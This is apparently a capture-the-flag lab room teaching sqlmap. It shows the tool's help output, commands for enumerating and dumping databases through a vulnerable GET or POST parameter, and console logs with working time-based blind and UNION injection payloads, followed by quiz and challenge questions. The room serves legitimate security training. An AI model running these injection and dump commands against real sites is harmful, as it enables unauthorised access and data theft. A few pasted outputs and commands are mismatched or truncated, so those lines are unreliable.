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SQLMAP

Learn about and use Sqlmap to exploit the web application

easy

30 min

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Task 1Introduction


In this room, we will learn about sqlmap and how it can be used to exploit SQL Injection vulnerabilities.

What is sqlmap? 

sqlmap is an open source penetration testing tool developed by Bernardo Damele Assumpcao Guimaraes and Miroslav Stampar that automates the process of detecting and exploiting SQL injection flaws and taking over database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches lasting from database fingerprinting, fetching data from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

Installing Sqlmap

If you're using Kali Linux, sqlmap is pre-installed. Otherwise, you can download it here: https://github.com/sqlmapproject/sqlmap

Answer the questions below
Read the above and have sqlmap at the ready.

Sqlmap Commands

To show the basic help menu, simply type sqlmap -h in the terminal.

Help Message
           nare@nare$ sqlmap -h
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.6#stable}
|_ -| . [(]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

Usage: python3 sqlmap [options]

Options:
  -h, --help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  --version             Show program's version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

  Target:
    At least one of these options has to be provided to define the
    target(s)

    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -g GOOGLEDORK       Process Google dork results as target URLs

  Request:
    These options can be used to specify how to connect to the target URL

    --data=DATA         Data string to be sent through POST (e.g. "id=1")
    --cookie=COOKIE     HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
    --random-agent      Use randomly selected HTTP User-Agent header value
    --proxy=PROXY       Use a proxy to connect to the target URL
    --tor               Use Tor anonymity network
    --check-tor         Check to see if Tor is used properly

  Injection:
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and optional tampering scripts

    -p TESTPARAMETER    Testable parameter(s)
    --dbms=DBMS         Force back-end DBMS to provided value

  Detection:
    These options can be used to customize the detection phase

    --level=LEVEL       Level of tests to perform (1-5, default 1)
    --risk=RISK         Risk of tests to perform (1-3, default 1)

  Techniques:
    These options can be used to tweak testing of specific SQL injection
    techniques

    --technique=TECH..  SQL injection techniques to use (default "BEUSTQ")

  Enumeration:
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables

    -a, --all           Retrieve everything
    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --passwords         Enumerate DBMS users password hashes
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
    --schema            Enumerate DBMS schema
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table(s) to enumerate
    -C COL              DBMS database table column(s) to enumerate

  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system

    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC

  General:
    These options can be used to set some general working parameters

    --batch             Never ask for user input, use the default behavior
    --flush-session     Flush session files for current target

  Miscellaneous:
    These options do not fit into any other category

    --wizard            Simple wizard interface for beginner users

[!] to see full list of options run with '-hh'

        

Basic commands:

OptionsDescription
-u URL, --url=URLTarget URL (e.g. "http://www.site.com/vuln.php?id=1")
--data=DATA
Data string to be sent through POST (e.g. "id=1")
--random-agent
Use randomly selected HTTP User-Agent header value
-p TESTPARAMETER
Testable parameter(s)
--level=LEVEL
Level of tests to perform (1-5, default 1)
--risk=RISK
Risk of tests to perform (1-3, default 1)

Enumeration commands:

These options can be used to enumerate the back-end database management system information, structure, and data contained in tables.

Options
Description
-a, --allRetrieve everything
-b, --bannerRetrieve DBMS banner
--current-user
Retrieve DBMS current user
--current-db
Retrieve DBMS current database
--passwords
Enumerate DBMS users password hashes
          --dbs             
  Enumerate DBMS databases
--tables
Enumerate DBMS database tables
--columns
Enumerate DBMS database table columns
--schema
Enumerate DBMS schema
--dump
Dump DBMS database table entries
--dump-all
Dump all DBMS databases tables entries
--is-dba           
 Detect if the DBMS current user is DBA
-D <DB NAME>
DBMS database to enumerate
-T <TABLE NAME>
DBMS database table(s) to enumerate
-C COL
DBMS database table column(s) to enumerate

Operating System access commands

These options can be used to access the back-end database management system on the target operating system.

Options
Description
--os-shellPrompt for an interactive operating system shell
--os-pwnPrompt for an OOB shell, Meterpreter or VNC
--os-cmd=OSCMD
Execute an operating system command
--priv-esc
Database process user privilege escalation
--os-smbrelay
One-click prompt for an OOB shell, Meterpreter or VNC


Note that the tables shown above aren't all the possible switches to use with sqlmap. For a more extensive list of options, run sqlmap -hh to display the advanced help message.

Now that we've seen some of the options we can use with sqlmap, let’s jump into the examples using both GET and POST Method based requests.


Simple HTTP GET Based Test

sqlmap -u https://testsite.com/page.php?id=7 --dbs

Here we have used two flags: -u to state the vulnerable URL and --dbs to enumerate the database.


Simple HTTP POST Based Test

First, we need to identify the vulnerable POST request and save it. In order to save the request, Right Click on the request, select 'Copy to file', and save it to a directory. You could also copy the whole request and save it to a text file as well.


You’ll notice in the request above, we have a POST parameter 'blood_group' which could a vulnerable parameter.

Saved HTTP POST request
           nare@nare$ cat req.txt
POST /blood/nl-search.php HTTP/1.1
Host: 10.10.17.116
Content-Length: 16
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.17.116
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.17.116/blood/nl-search.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=bt0q6qk024tmac6m4jkbh8l1h4
Connection: close

blood_group=B%2B
        


Now that we’ve identified a potentially vulnerable parameter, let’s jump into the sqlmap and use the following command:

sqlmap -r req.txt -p blood_group --dbs

sqlmap -r <request_file> -p <vulnerable_parameter> --dbs


Here we have used two flags: -r to read the file, -p to supply the vulnerable parameter, and --dbs to enumerate the database.

Database Enumeration
           nare@nare$ sqlmap -r req.txt -p blood_group --dbs
[19:31:39] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[19:31:50] [INFO] POST parameter 'blood_group' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[19:33:09] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[19:33:09] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[19:33:09] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[19:33:09] [WARNING] most likely web server instance hasn't recovered yet from previous timed based payload. If the problem persists please wait for a few minutes and rerun without flag 'T' in option '--technique' (e.g. '--flush-session --technique=BEUS') or try to lower the value of option '--time-sec' (e.g. '--time-sec=2')
[19:33:10] [WARNING] reflective value(s) found and filtering out
[19:33:12] [INFO] target URL appears to be UNION injectable with 8 columns
[19:33:13] [INFO] POST parameter 'blood_group' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
POST parameter 'blood_group' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 71 HTTP(s) requests:
---
Parameter: blood_group (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: blood_group=B+' AND (SELECT 3897 FROM (SELECT(SLEEP(5)))Zgvj) AND 'gXEj'='gXEj

    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: blood_group=B+' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a767a71,0x58784e494a4c43546361475a45546c676e736178584f517a457070784c616b4849414c69594c6371,0x71716a7a71)-- -
---
[19:33:16] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.10.3
back-end DBMS: MySQL >= 5.0.12
[19:33:17] [INFO] fetching database names
available databases [6]:
[*] blood
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] test
        

Now that we have the databases, let's extract tables from the database blood.

Using GET based Method

sqlmap -u https://testsite.com/page.php?id=7 -D blood --tables

sqlmap -u https://testsite.com/page.php?id=7 -D <database_name> --tables

Using POST based Method

sqlmap -r req.txt -p blood_group -D blood --tables

sqlmap -r req.txt -p <vulnerable_parameter> -D <database_name> --tables

Once we run these commands, we should get the tables.

Getting Tables
           nare@nare$ sqlmap -r req.txt -p blood_group -D blood --tables
[19:35:57] [INFO] parsing HTTP request from 'req.txt'
[19:35:57] [INFO] resuming back-end DBMS 'mysql'
[19:35:57] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: blood_group (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: blood_group=B+' AND (SELECT 3897 FROM (SELECT(SLEEP(5)))Zgvj) AND 'gXEj'='gXEj

    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: blood_group=B+' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a767a71,0x58784e494a4c43546361475a45546c676e736178584f517a457070784c616b4849414c69594c6371,0x71716a7a71)-- -
---
[19:35:58] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.10.3
back-end DBMS: MySQL >= 5.0.12
[19:35:58] [INFO] fetching tables for database: 'blood'
[19:35:58] [WARNING] reflective value(s) found and filtering out
Database: blood
[3 tables]
+----------+
| blood_db |
| flag     |
| users    |
+----------+
        


Once we have available tables, now let’s gather the columns from the table blood_db.

Using GET based Method

sqlmap -u https://testsite.com/page.php?id=7 -D blood -T blood_db --columns

sqlmap -u https://testsite.com/page.php?id=7 -D <database_name> -T <table_name> --columns


Using POST based Method

sqlmap -r req.txt -D blood -T blood_db --columns

sqlmap -r req.txt -D <database_name> -T <table_name> --columns

Getting Tables
           nare@nare$ sqlmap -r req.txt -D blood -T blood_db --columns
[19:35:57] [INFO] parsing HTTP request from 'req.txt'
[19:35:57] [INFO] resuming back-end DBMS 'mysql'
[19:35:57] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: blood_group (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: blood_group=B+' AND (SELECT 3897 FROM (SELECT(SLEEP(5)))Zgvj) AND 'gXEj'='gXEj

    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: blood_group=B+' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a767a71,0x58784e494a4c43546361475a45546c676e736178584f517a457070784c616b4849414c69594c6371,0x71716a7a71)-- -
---
[19:35:58] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.10.3
back-end DBMS: MySQL >= 5.0.12
[19:35:58] [INFO] fetching tables for database: 'blood'
[19:35:58] [WARNING] reflective value(s) found and filtering out
Database: blood
[3 tables]
+----------+
| blood_db |
| flag     |
| users    |
+----------+
        


Or we can simply dump all the available databases and tables using the following commands.


Using GET based Method

sqlmap -u https://testsite.com/page.php?id=7 -D <database_name> --dump-all

sqlmap -u https://testsite.com/page.php?id=7 -D blood --dump-all


Using POST based Method

sqlmap -r req.txt -D <database_name> --dump-all

sqlmap -r req.txt-p  -D <database_name> --dump-all


I hope you have enjoyed seeing the basics of using sqlmap and its various commands. Now, let’s start the challenge in the next task!

Answer the questions below
Which flag or option will allow you to add a URL to the command?

Which flag would you use to add data to a POST request?

There are two parameters: username and password. How would you tell sqlmap to use the username parameter for the attack?

Which flag would you use to show the advanced help menu?

Which flag allows you to retrieve everything?

Which flag allows you to select the database name?

Which flag would you use to retrieve database tables?

Which flag allows you to retrieve a table’s columns?

Which flag allows you to dump all the database table entries?

Which flag will give you an interactive SQL Shell prompt?

You know the current db type is 'MYSQL'. Which flag allows you to enumerate only MySQL databases?

Deploy the machine attached to this task, then navigate to MACHINE_IP (this machine can take up to 3 minutes to boot)

Task: 

We have deployed an application to collect 'Blood Donations'. The request seems to be vulnerable.

Exploit a SQL Injection vulnerability on the vulnerable application to find the flag.

Answer the questions below

What is the name of the interesting directory ?

Who is the current db user? 

What is the final flag? 

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